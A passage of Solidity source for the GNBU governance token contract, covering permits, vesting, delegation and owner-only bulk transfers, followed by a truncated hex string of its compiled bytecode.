if (rawAmount == uint(2 ** 256 - 1)) {
amount = uint96(2 ** 96 - 1);
} else {
amount = safe96(rawAmount, "GNBU::permit: amount exceeds 96 bits");
}
bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this)));
bytes32 structHash = keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, rawAmount, nonces[owner]++, deadline));
bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "GNBU::permit: invalid signature");
require(signatory == owner, "GNBU::permit: unauthorized");
require(block.timestamp <= deadline, "GNBU::permit: signature expired");
allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function balanceOf(address account) public view returns (uint) {
uint96 amount = _unfrozenBalances[account];
if (_vestingNonces[account] == 0) return amount;
for (uint32 i = 1; i <= _vestingNonces[account]; i++) {
uint96 unvested = sub96(_vestingAmounts[account][i], _unvestedAmounts[account][i], "GNBU::balanceOf: unvested exceed vested amount");
amount = add96(amount, unvested, "GNBU::balanceOf: overflow");
}
return amount;
}
function availableForUnvesting(address user) external view returns (uint unvestAmount) {
if (_vestingNonces[user] == 0) return 0;
for (uint32 i = 1; i <= _vestingNonces[user]; i++) {
if (_vestingAmounts[user][i] == _unvestedAmounts[user][i]) continue;
if (_vestingReleaseStartDates[user][i] > block.timestamp) break;
uint toUnvest = mul96((block.timestamp - _vestingReleaseStartDates[user][i]), (_vestingAmounts[user][i])) / vestingSecondPeriod;
if (toUnvest > _vestingAmounts[user][i]) {
toUnvest = _vestingAmounts[user][i];
}
toUnvest -= _unvestedAmounts[user][i];
unvestAmount += toUnvest;
}
}
function availableForTransfer(address account) external view returns (uint) {
return _unfrozenBalances[account];
}
function vestingInfo(address user, uint32 nonce) external view returns (uint vestingAmount, uint unvestedAmount, uint vestingReleaseStartDate) {
vestingAmount = _vestingAmounts[user][nonce];
unvestedAmount = _unvestedAmounts[user][nonce];
vestingReleaseStartDate = _vestingReleaseStartDates[user][nonce];
}
function vestingNonces(address user) external view returns (uint lastNonce) {
return _vestingNonces[user];
}
function transfer(address dst, uint rawAmount) external whenNotPaused returns (bool) {
uint96 amount = safe96(rawAmount, "GNBU::transfer: amount exceeds 96 bits");
_transferTokens(msg.sender, dst, amount);
return true;
}
function transferFrom(address src, address dst, uint rawAmount) external whenNotPaused returns (bool) {
address spender = msg.sender;
uint96 spenderAllowance = allowances[src][spender];
uint96 amount = safe96(rawAmount, "GNBU::approve: amount exceeds 96 bits");
if (spender != src && spenderAllowance != uint96(2 ** 96 - 1)) {
uint96 newAllowance = sub96(spenderAllowance, amount, "GNBU::transferFrom: transfer amount exceeds spender allowance");
allowances[src][spender] = newAllowance;
emit Approval(src, spender, newAllowance);
}
_transferTokens(src, dst, amount);
return true;
}
function delegate(address delegatee) public whenNotPaused {
return _delegate(msg.sender, delegatee);
}
function delegateBySig(address delegatee, uint nonce, uint expiry, uint8 v, bytes32 r, bytes32 s) public whenNotPaused {
bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this)));
bytes32 structHash = keccak256(abi.encode(DELEGATION_TYPEHASH, delegatee, nonce, expiry));
bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "GNBU::delegateBySig: invalid signature");
require(nonce == nonces[signatory]++, "GNBU::delegateBySig: invalid nonce");
require(block.timestamp <= expiry, "GNBU::delegateBySig: signature expired");
return _delegate(signatory, delegatee);
}
function unvest() external whenNotPaused returns (uint96 unvested) {
require (_vestingNonces[msg.sender] > 0, "GNBU::unvest:No vested amount");
for (uint32 i = 1; i <= _vestingNonces[msg.sender]; i++) {
if (_vestingAmounts[msg.sender][i] == _unvestedAmounts[msg.sender][i]) continue;
if (_vestingReleaseStartDates[msg.sender][i] > block.timestamp) break;
uint96 toUnvest = mul96((block.timestamp - _vestingReleaseStartDates[msg.sender][i]), _vestingAmounts[msg.sender][i]) / vestingSecondPeriod;
if (toUnvest > _vestingAmounts[msg.sender][i]) {
toUnvest = _vestingAmounts[msg.sender][i];
}
uint96 totalUnvestedForNonce = toUnvest;
toUnvest = sub96(toUnvest, _unvestedAmounts[msg.sender][i], "GNBU::unvest: already unvested amount exceeds toUnvest");
unvested = add96(unvested, toUnvest, "GNBU::unvest: adding overflow");
_unvestedAmounts[msg.sender][i] = totalUnvestedForNonce;
}
_unfrozenBalances[msg.sender] = add96(_unfrozenBalances[msg.sender], unvested, "GNBU::unvest: adding overflow");
emit Unvest(msg.sender, unvested);
}
function getCurrentVotes(address account) external view returns (uint96) {
uint32 nCheckpoints = numCheckpoints[account];
return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0;
}
function getPriorVotes(address account, uint blockNumber) public view returns (uint96) {
require(blockNumber < block.number, "GNBU::getPriorVotes: not yet determined");
uint32 nCheckpoints = numCheckpoints[account];
if (nCheckpoints == 0) {
return 0;
}
// First check most recent balance
if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) {
return checkpoints[account][nCheckpoints - 1].votes;
}
// Next check implicit zero balance
if (checkpoints[account][0].fromBlock > blockNumber) {
return 0;
}
uint32 lower = 0;
uint32 upper = nCheckpoints - 1;
while (upper > lower) {
uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow
Checkpoint memory cp = checkpoints[account][center];
if (cp.fromBlock == blockNumber) {
return cp.votes;
} else if (cp.fromBlock < blockNumber) {
lower = center;
} else {
upper = center - 1;
}
}
return checkpoints[account][lower].votes;
}
function _delegate(address delegator, address delegatee) internal {
address currentDelegate = delegates[delegator];
uint96 delegatorBalance = _unfrozenBalances[delegator];
delegates[delegator] = delegatee;
emit DelegateChanged(delegator, currentDelegate, delegatee);
_moveDelegates(currentDelegate, delegatee, delegatorBalance);
}
function _transferTokens(address src, address dst, uint96 amount) internal {
require(src != address(0), "GNBU::_transferTokens: cannot transfer from the zero address");
require(dst != address(0), "GNBU::_transferTokens: cannot transfer to the zero address");
_unfrozenBalances[src] = sub96(_unfrozenBalances[src], amount, "GNBU::_transferTokens: transfer amount exceeds balance");
_unfrozenBalances[dst] = add96(_unfrozenBalances[dst], amount, "GNBU::_transferTokens: transfer amount overflows");
emit Transfer(src, dst, amount);
_moveDelegates(delegates[src], delegates[dst], amount);
}
function _moveDelegates(address srcRep, address dstRep, uint96 amount) internal {
if (srcRep != dstRep && amount > 0) {
if (srcRep != address(0)) {
uint32 srcRepNum = numCheckpoints[srcRep];
uint96 srcRepOld = srcRepNum > 0 ? checkpoints[srcRep][srcRepNum - 1].votes : 0;
uint96 srcRepNew = sub96(srcRepOld, amount, "GNBU::_moveVotes: vote amount underflows");
_writeCheckpoint(srcRep, srcRepNum, srcRepOld, srcRepNew);
}
if (dstRep != address(0)) {
uint32 dstRepNum = numCheckpoints[dstRep];
uint96 dstRepOld = dstRepNum > 0 ? checkpoints[dstRep][dstRepNum - 1].votes : 0;
uint96 dstRepNew = add96(dstRepOld, amount, "GNBU::_moveVotes: vote amount overflows");
_writeCheckpoint(dstRep, dstRepNum, dstRepOld, dstRepNew);
}
}
}
function _writeCheckpoint(address delegatee, uint32 nCheckpoints, uint96 oldVotes, uint96 newVotes) internal {
uint32 blockNumber = safe32(block.number, "GNBU::_writeCheckpoint: block number exceeds 32 bits");
if (nCheckpoints > 0 && checkpoints[delegatee][nCheckpoints - 1].fromBlock == blockNumber) {
checkpoints[delegatee][nCheckpoints - 1].votes = newVotes;
} else {
checkpoints[delegatee][nCheckpoints] = Checkpoint(blockNumber, newVotes);
numCheckpoints[delegatee] = nCheckpoints + 1;
}
emit DelegateVotesChanged(delegatee, oldVotes, newVotes);
}
function _vest(address user, uint96 amount) private {
uint32 nonce = ++_vestingNonces[user];
_vestingAmounts[user][nonce] = amount;
_vestingReleaseStartDates[user][nonce] = block.timestamp + vestingFirstPeriod;
_unfrozenBalances[owner] = sub96(_unfrozenBalances[owner], amount, "GNBU::_vest: exceeds owner balance");
emit Transfer(owner, user, amount);
}
function burnTokens(uint rawAmount) public onlyOwner returns (bool success) {
uint96 amount = safe96(rawAmount, "GNBU::burnTokens: amount exceeds 96 bits");
require(amount <= _unfrozenBalances[owner]);
_unfrozenBalances[owner] = sub96(_unfrozenBalances[owner], amount, "GNBU::burnTokens: transfer amount exceeds balance");
totalSupply = sub96(totalSupply, amount, "GNBU::burnTokens: transfer amount exceeds total supply");
emit Transfer(owner, address(0), amount);
return true;
}
function vest(address user, uint rawAmount) external {
require (vesters[msg.sender], "GNBU::vest: not vester");
uint96 amount = safe96(rawAmount, "GNBU::vest: amount exceeds 96 bits");
_vest(user, amount);
}
function multisend(address[] memory to, uint[] memory values) public onlyOwner returns (uint) {
require(to.length == values.length);
require(to.length < 100);
uint sum;
for (uint j; j < values.length; j++) {
sum += values[j];
}
uint96 _sum = safe96(sum, "GNBU::transfer: amount exceeds 96 bits");
_unfrozenBalances[owner] = sub96(_unfrozenBalances[owner], _sum, "GNBU::_transferTokens: transfer amount exceeds balance");
for (uint i; i < to.length; i++) {
_unfrozenBalances[to[i]] = add96(_unfrozenBalances[to[i]], uint96(values[i]), "GNBU::_transferTokens: transfer amount exceeds balance");
emit Transfer(owner, to[i], values[i]);
}
return(to.length);
}
function multivest(address[] memory to, uint[] memory values) external onlyOwner returns (uint) {
require(to.length == values.length);
require(to.length < 100);
uint sum;
for (uint j; j < values.length; j++) {
sum += values[j];
}
uint96 _sum = safe96(sum, "GNBU::multivest: amount exceeds 96 bits");
_unfrozenBalances[owner] = sub96(_unfrozenBalances[owner], _sum, "GNBU::multivest: transfer amount exceeds balance");
for (uint i; i < to.length; i++) {
uint32 nonce = ++_vestingNonces[to[i]];
_vestingAmounts[to[i]][nonce] = uint96(values[i]);
_vestingReleaseStartDates[to[i]][nonce] = block.timestamp + vestingFirstPeriod;
emit Transfer(owner, to[i], values[i]);
}
return(to.length);
}
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return IERC20(tokenAddress).transfer(owner, tokens);
}
function updateVesters(address vester, bool isActive) external onlyOwner {
vesters[vester] = isActive;
}
function acceptOwnership() public override {
require(msg.sender == newOwner);
uint96 amount = _unfrozenBalances[owner];
_transferTokens(owner, newOwner, amount);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
function updateSupportUnitAdd(address newSupportUnit) external onlyOwner {
for (uint i; i < supportUnits.length; i++) {
require (supportUnits[i] != newSupportUnit, "GNBU::updateSupportUnitAdd: support unit exists");
}
supportUnits.push(newSupportUnit);
supportUnitsCnt++;
}
function updateSupportUnitRemove(uint supportUnitIndex) external onlyOwner {
supportUnits[supportUnitIndex] = supportUnits[supportUnits.length - 1];
supportUnits.pop();
supportUnitsCnt--;
}
function safe32(uint n, string memory errorMessage) internal pure returns (uint32) {
require(n < 2**32, errorMessage);
return uint32(n);
}
function safe96(uint n, string memory errorMessage) internal pure returns (uint96) {
require(n < 2**96, errorMessage);
return uint96(n);
}
function add96(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) {
uint96 c = a + b;
require(c >= a, errorMessage);
return c;
}
function sub96(uint96 a, uint96 b, string memory errorMessage) internal pure returns (uint96) {
require(b <= a, errorMessage);
return a - b;
}
function getChainId() internal view returns (uint) {
return block.chainid;
}
function mul96(uint96 a, uint96 b) internal pure returns (uint96) {
if (a == 0) {
return 0;
}
uint96 c = a * b;
require(c / a == b, "GNBU:mul96: multiplication overflow");
return c;
}
function mul96(uint256 a, uint96 b) internal pure returns (uint96) {
uint96 _a = safe96(a, "GNBU:mul96: amount exceeds uint96");
if (_a == 0) {
return 0;
}
uint96 c = _a * b;
require(c / _a == b, "GNBU:mul96: multiplication overflow");
return c;
}
} | 0x608060405234801561001057600080fd5b50600436106102ff5760003560e01c80638456cb591161019c578063c3cda520116100ee578063dc39d06d11610097578063f1127ed811610071578063f1127ed8146105e7578063f1b5c88e14610608578063f2fde38b1461061b576102ff565b8063dc39d06d146105b9578063dd62ed3e146105cc578063e7a324dc146105df576102ff565b8063d505accf116100c8578063d505accf14610571578063d84a139d14610584578063dc25ca51146105a6576102ff565b8063c3cda52014610543578063c3ef298714610556578063d4ee1d9014610569576102ff565b8063a9059cbb11610150578063b24d53101161012a578063b24d53101461050a578063b4b5ea571461051d578063bdfb5b9014610530576102ff565b8063a9059cbb146104dc578063aad41a41146104ef578063aff00e7514610502576102ff565b806395d89b411161018157806395d89b41146104b9578063985d5449146104c1578063a6237aa2146104c9576102ff565b80638456cb59146104a95780638da5cb5b146104b1576102ff565b80633f4ba83a116102555780636fcfff4511610209578063782d6fe1116101e3578063782d6fe11461047b57806379ba50971461048e5780637ecebe0014610496576102ff565b80636fcfff451461043557806370a082311461045557806371ad963414610468576102ff565b80635c19a95c1161023a5780635c19a95c146104075780635c975abb1461041a5780636d1b229d14610422576102ff565b80633f4ba83a146103df578063587cde1e146103e7576102ff565b806320606b70116102b75780632797c6c8116102915780632797c6c8146103ad57806330adf81f146103c2578063313ce567146103ca576102ff565b806320606b701461037f57806323b872dd1461038757806324d6239e1461039a576102ff565b80631501ea1c116102e85780631501ea1c1461034257806318160ddd146103555780631dcd5c5d1461036a576102ff565b806306fdde0314610304578063095ea7b314610322575b600080fd5b61030c61062e565b60405161031991906147c9565b60405180910390f35b61033561033036600461449e565b610667565b60405161031991906146f4565b610335610350366004614378565b6107a2565b61035d6107b7565b6040516103199190614cc3565b6103726107cb565b60405161031991906146ff565b6103726107d1565b6103356103953660046143c4565b6107f5565b6103726103a8366004614378565b6109c0565b6103c06103bb36600461449e565b6109fa565b005b610372610a81565b6103d2610aa5565b6040516103199190614cb5565b6103c0610aaa565b6103fa6103f5366004614378565b610b75565b6040516103199190614679565b6103c0610415366004614378565b610b9d565b610335610bd2565b61033561043036600461462b565b610bf3565b610448610443366004614378565b610e33565b6040516103199190614c80565b610372610463366004614378565b610e4b565b610372610476366004614378565b610fd5565b61035d61048936600461449e565b611003565b6103c06112c4565b6103726104a4366004614378565b6113ca565b6103c06113dc565b6103fa6114bf565b61030c6114db565b61035d611514565b6103c06104d7366004614468565b611921565b6103356104ea36600461449e565b6119c8565b6103726104fd366004614551565b611a2e565b610372611ec3565b6103c061051836600461462b565b612003565b61035d61052b366004614378565b6121ec565b6103fa61053e36600461462b565b61228a565b6103c06105513660046144c7565b6122c1565b610372610564366004614551565b612591565b6103fa612ad7565b6103c061057f3660046143ff565b612af3565b61059761059236600461451e565b612f7e565b60405161031993929190614c6a565b6103c06105b4366004614378565b612ff9565b6103356105c736600461449e565b613192565b6103726105da366004614392565b613290565b6103726132d6565b6105fa6105f536600461451e565b6132fa565b604051610319929190614c91565b610372610616366004614378565b613335565b6103c0610629366004614378565b61361e565b6040518060400160405280601781526020017f4e696d62757320476f7665726e616e636520546f6b656e00000000000000000081525081565b60015460009074010000000000000000000000000000000000000000900460ff161561069257600080fd5b60007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8314156106cf57506bffffffffffffffffffffffff6106f4565b6106f1836040518060600160405280602581526020016151ce602591396136de565b90505b33600081815260036020908152604080832073ffffffffffffffffffffffffffffffffffffffff891680855292529182902080547fffffffffffffffffffffffffffffffffffffffff000000000000000000000000166bffffffffffffffffffffffff861617905590519091907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259061078e908590614cc3565b60405180910390a360019150505b92915050565b60096020526000908152604090205460ff1681565b6002546bffffffffffffffffffffffff1681565b600c5481565b7f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a86681565b60015460009074010000000000000000000000000000000000000000900460ff161561082057600080fd5b73ffffffffffffffffffffffffffffffffffffffff841660009081526003602090815260408083203380855290835281842054825160608101909352602580845291946bffffffffffffffffffffffff9091169390926108889288926151ce908301396136de565b90508673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156108d457506bffffffffffffffffffffffff82811614155b156109a85760006108fe83836040518060600160405280603d8152602001614feb603d9139613730565b73ffffffffffffffffffffffffffffffffffffffff8981166000818152600360209081526040808320948a16808452949091529081902080547fffffffffffffffffffffffffffffffffffffffff000000000000000000000000166bffffffffffffffffffffffff86161790555192935090917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259061099e908590614cc3565b60405180910390a3505b6109b387878361379e565b5060019695505050505050565b73ffffffffffffffffffffffffffffffffffffffff81166000908152600460205260409020546bffffffffffffffffffffffff165b919050565b3360009081526009602052604090205460ff16610a4c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a4390614903565b60405180910390fd5b6000610a708260405180606001604052806022815260200161532d602291396136de565b9050610a7c8382613a05565b505050565b7f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c981565b601281565b60005473ffffffffffffffffffffffffffffffffffffffff163314610afb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a4390614897565b60015474010000000000000000000000000000000000000000900460ff16610b2257600080fd5b600180547fffffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffff1690556040517f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3390600090a1565b600d6020526000908152604090205473ffffffffffffffffffffffffffffffffffffffff1681565b60015474010000000000000000000000000000000000000000900460ff1615610bc557600080fd5b610bcf3382613bff565b50565b60015474010000000000000000000000000000000000000000900460ff1681565b6000805473ffffffffffffffffffffffffffffffffffffffff163314610c45576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a4390614897565b6000610c69836040518060600160405280602881526020016150f9602891396136de565b6000805473ffffffffffffffffffffffffffffffffffffffff168152600460205260409020549091506bffffffffffffffffffffffff9081169082161115610cb057600080fd5b6000805473ffffffffffffffffffffffffffffffffffffffff16815260046020908152604091829020548251606081019093526031808452610d0d936bffffffffffffffffffffffff909216928592919061519d90830139613730565b6000805473ffffffffffffffffffffffffffffffffffffffff1681526004602090815260409182902080547fffffffffffffffffffffffffffffffffffffffff000000000000000000000000166bffffffffffffffffffffffff9485161790556002548251606081019093526036808452610d98949190911692859290919061527990830139613730565b600280547fffffffffffffffffffffffffffffffffffffffff000000000000000000000000166bffffffffffffffffffffffff929092169190911790556000805460405173ffffffffffffffffffffffffffffffffffffffff909116907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610e22908590614cc3565b60405180910390a350600192915050565b600f6020526000908152604090205463ffffffff1681565b73ffffffffffffffffffffffffffffffffffffffff811660009081526004602090815260408083205460059092528220546bffffffffffffffffffffffff9091169063ffffffff16610eac576bffffffffffffffffffffffff1690506109f5565b60015b73ffffffffffffffffffffffffffffffffffffffff841660009081526005602052604090205463ffffffff90811690821611610fc05773ffffffffffffffffffffffffffffffffffffffff8416600081815260066020908152604080832063ffffffff86168085529083528184205494845260078352818420908452825280832054815160608101909252602e8083529394610f68946bffffffffffffffffffffffff918216949290911692916150cb90830139613730565b9050610faa83826040518060400160405280601981526020017f474e42553a3a62616c616e63654f663a206f766572666c6f7700000000000000815250613cb3565b9250508080610fb890614ef5565b915050610eaf565b506bffffffffffffffffffffffff1692915050565b73ffffffffffffffffffffffffffffffffffffffff1660009081526005602052604090205463ffffffff1690565b600043821061103e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a439061483a565b73ffffffffffffffffffffffffffffffffffffffff83166000908152600f602052604090205463ffffffff168061107957600091505061079c565b73ffffffffffffffffffffffffffffffffffffffff84166000908152600e6020526040812084916110ab600185614e3d565b63ffffffff908116825260208201929092526040016000205416116111315773ffffffffffffffffffffffffffffffffffffffff84166000908152600e60205260408120906110fb600184614e3d565b63ffffffff16815260208101919091526040016000205464010000000090046bffffffffffffffffffffffff16915061079c9050565b73ffffffffffffffffffffffffffffffffffffffff84166000908152600e6020908152604080832083805290915290205463ffffffff1683101561117957600091505061079c565b600080611187600184614e3d565b90505b8163ffffffff168163ffffffff16111561126c57600060026111ac8484614e3d565b6111b69190614db0565b6111c09083614e3d565b73ffffffffffffffffffffffffffffffffffffffff88166000908152600e6020908152604080832063ffffffff8581168552908352928190208151808301909252549283168082526401000000009093046bffffffffffffffffffffffff16918101919091529192508714156112405760200151945061079c9350505050565b805163ffffffff1687111561125757819350611265565b611262600183614e3d565b92505b505061118a565b5073ffffffffffffffffffffffffffffffffffffffff85166000908152600e6020908152604080832063ffffffff909416835292905220546bffffffffffffffffffffffff6401000000009091041691505092915050565b60015473ffffffffffffffffffffffffffffffffffffffff1633146112e857600080fd5b6000805473ffffffffffffffffffffffffffffffffffffffff90811680835260046020526040909220546001546bffffffffffffffffffffffff90911692611333929091168361379e565b6001546000805460405173ffffffffffffffffffffffffffffffffffffffff93841693909116917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35060018054600080547fffffffffffffffffffffffff000000000000000000000000000000000000000090811673ffffffffffffffffffffffffffffffffffffffff841617909155169055565b60106020526000908152604090205481565b60005473ffffffffffffffffffffffffffffffffffffffff16331461142d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a4390614897565b60015474010000000000000000000000000000000000000000900460ff161561145557600080fd5b600180547fffffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffff16740100000000000000000000000000000000000000001790556040517f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62590600090a1565b60005473ffffffffffffffffffffffffffffffffffffffff1681565b6040518060400160405280600481526020017f474e42550000000000000000000000000000000000000000000000000000000081525081565b60015460009074010000000000000000000000000000000000000000900460ff161561153f57600080fd5b3360009081526005602052604090205463ffffffff1661158b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a4390614ae5565b60015b3360009081526005602052604090205463ffffffff908116908216116118355733600081815260076020908152604080832063ffffffff861680855290835281842054948452600683528184209084529091529020546bffffffffffffffffffffffff9081169116141561160157611823565b33600090815260086020908152604080832063ffffffff8516845290915290205442101561162e57611835565b600a5433600090815260086020908152604080832063ffffffff8616845290915281205490916c0100000000000000000000000090046bffffffffffffffffffffffff16906116b5906116819042614e26565b33600090815260066020908152604080832063ffffffff891684529091529020546bffffffffffffffffffffffff16613d24565b6116bf9190614dd3565b33600090815260066020908152604080832063ffffffff871684529091529020549091506bffffffffffffffffffffffff908116908216111561172d575033600090815260066020908152604080832063ffffffff851684529091529020546bffffffffffffffffffffffff165b33600090815260076020908152604080832063ffffffff8616845282529182902054825160608101909352603680845284936117819385936bffffffffffffffffffffffff169290614fb590830139613730565b91506117c384836040518060400160405280601d81526020017f474e42553a3a756e766573743a20616464696e67206f766572666c6f77000000815250613cb3565b33600090815260076020908152604080832063ffffffff88168452909152902080547fffffffffffffffffffffffffffffffffffffffff000000000000000000000000166bffffffffffffffffffffffff93909316929092179091559250505b8061182d81614ef5565b91505061158e565b5033600090815260046020908152604091829020548251808401909352601d83527f474e42553a3a756e766573743a20616464696e67206f766572666c6f770000009183019190915261189a916bffffffffffffffffffffffff909116908390613cb3565b336000818152600460205260409081902080547fffffffffffffffffffffffffffffffffffffffff000000000000000000000000166bffffffffffffffffffffffff949094169390931790925590517ffa5db7be915522c6b65b302ca1c4bfbfd4f0d898d50af75e513796dc44aee52b916119169184906146c0565b60405180910390a190565b60005473ffffffffffffffffffffffffffffffffffffffff163314611972576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a4390614897565b73ffffffffffffffffffffffffffffffffffffffff91909116600090815260096020526040902080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0016911515919091179055565b60015460009074010000000000000000000000000000000000000000900460ff16156119f357600080fd5b6000611a1783604051806060016040528060268152602001615121602691396136de565b9050611a2433858361379e565b5060019392505050565b6000805473ffffffffffffffffffffffffffffffffffffffff163314611a80576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a4390614897565b8151835114611a8e57600080fd5b6064835110611a9c57600080fd5b6000805b8351811015611b0957838181518110611ae2577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015182611af59190614d49565b915080611b0181614ebc565b915050611aa0565b506000611b2e82604051806060016040528060268152602001615121602691396136de565b6000805473ffffffffffffffffffffffffffffffffffffffff16815260046020908152604091829020548251606081019093526036808452939450611b8f936bffffffffffffffffffffffff9091169285929091906152af90830139613730565b6000805473ffffffffffffffffffffffffffffffffffffffff16815260046020526040812080547fffffffffffffffffffffffffffffffffffffffff000000000000000000000000166bffffffffffffffffffffffff93909316929092179091555b8551811015611eb857611cf460046000888481518110611c3a577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a90046bffffffffffffffffffffffff16868381518110611cce577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200260200101516040518060600160405280603681526020016152af60369139613cb3565b60046000888481518110611d31577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a8154816bffffffffffffffffffffffff02191690836bffffffffffffffffffffffff160217905550858181518110611dda577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef878481518110611e89577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020026020010151604051611e9e91906146ff565b60405180910390a380611eb081614ebc565b915050611bf1565b505092519392505050565b6000805473ffffffffffffffffffffffffffffffffffffffff168152600460205260408120546bffffffffffffffffffffffff16815b600b54811015611fb957611fa58260046000600b8581548110611f45577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600091825260208083209091015473ffffffffffffffffffffffffffffffffffffffff16835282810193909352604091820190205481516060810190925260268083526bffffffffffffffffffffffff909116926151f390830139613cb3565b915080611fb181614ebc565b915050611ef9565b5060025460408051606081019091526030808252611fef926bffffffffffffffffffffffff169184916150286020830139613730565b6bffffffffffffffffffffffff1691505090565b60005473ffffffffffffffffffffffffffffffffffffffff163314612054576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a4390614897565b600b805461206490600190614e26565b8154811061209b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600091825260209091200154600b805473ffffffffffffffffffffffffffffffffffffffff90921691839081106120fb577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600b80548061217b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603160045260246000fd5b60008281526020812082017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff90810180547fffffffffffffffffffffffff0000000000000000000000000000000000000000169055909101909155600c8054916121e483614e87565b919050555050565b73ffffffffffffffffffffffffffffffffffffffff81166000908152600f602052604081205463ffffffff1680612224576000612283565b73ffffffffffffffffffffffffffffffffffffffff83166000908152600e6020526040812090612255600184614e3d565b63ffffffff16815260208101919091526040016000205464010000000090046bffffffffffffffffffffffff165b9392505050565b600b818154811061229a57600080fd5b60009182526020909120015473ffffffffffffffffffffffffffffffffffffffff16905081565b60015474010000000000000000000000000000000000000000900460ff16156122e957600080fd5b60408051808201909152601781527f4e696d62757320476f7665726e616e636520546f6b656e00000000000000000060209091015260007f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a8667fdedc3a41841d54a0c22d8c6d98aba038f54aa37f881e54f102160c5b828fed1c61236a613dd4565b3060405160200161237e949392919061477a565b60405160208183030381529060405280519060200120905060007fe48329057bfd03d55e49b547132e39cffd9c1820ad7b9d4c5307691425d15adf8888886040516020016123cf9493929190614749565b604051602081830303815290604052805190602001209050600082826040516020016123fc929190614643565b60405160208183030381529060405280519060200120905060006001828888886040516000815260200160405260405161243994939291906147ab565b6020604051602081039080840390855afa15801561245b573d6000803e3d6000fd5b50506040517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0015191505073ffffffffffffffffffffffffffffffffffffffff81166124d3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a4390614bd6565b73ffffffffffffffffffffffffffffffffffffffff8116600090815260106020526040812080549161250483614ebc565b919050558914612540576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a4390614b79565b8742111561257a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a4390614a51565b612584818b613bff565b505050505b505050505050565b6000805473ffffffffffffffffffffffffffffffffffffffff1633146125e3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a4390614897565b81518351146125f157600080fd5b60648351106125ff57600080fd5b6000805b835181101561266c57838181518110612645577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020026020010151826126589190614d49565b91508061266481614ebc565b915050612603565b50600061269182604051806060016040528060278152602001615058602791396136de565b6000805473ffffffffffffffffffffffffffffffffffffffff168152600460209081526040918290205482516060810190935260308084529394506126f2936bffffffffffffffffffffffff90911692859290919061521990830139613730565b6000805473ffffffffffffffffffffffffffffffffffffffff16815260046020526040812080547fffffffffffffffffffffffffffffffffffffffff000000000000000000000000166bffffffffffffffffffffffff93909316929092179091555b8551811015611eb85760006005600088848151811061279c577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173fffffffffff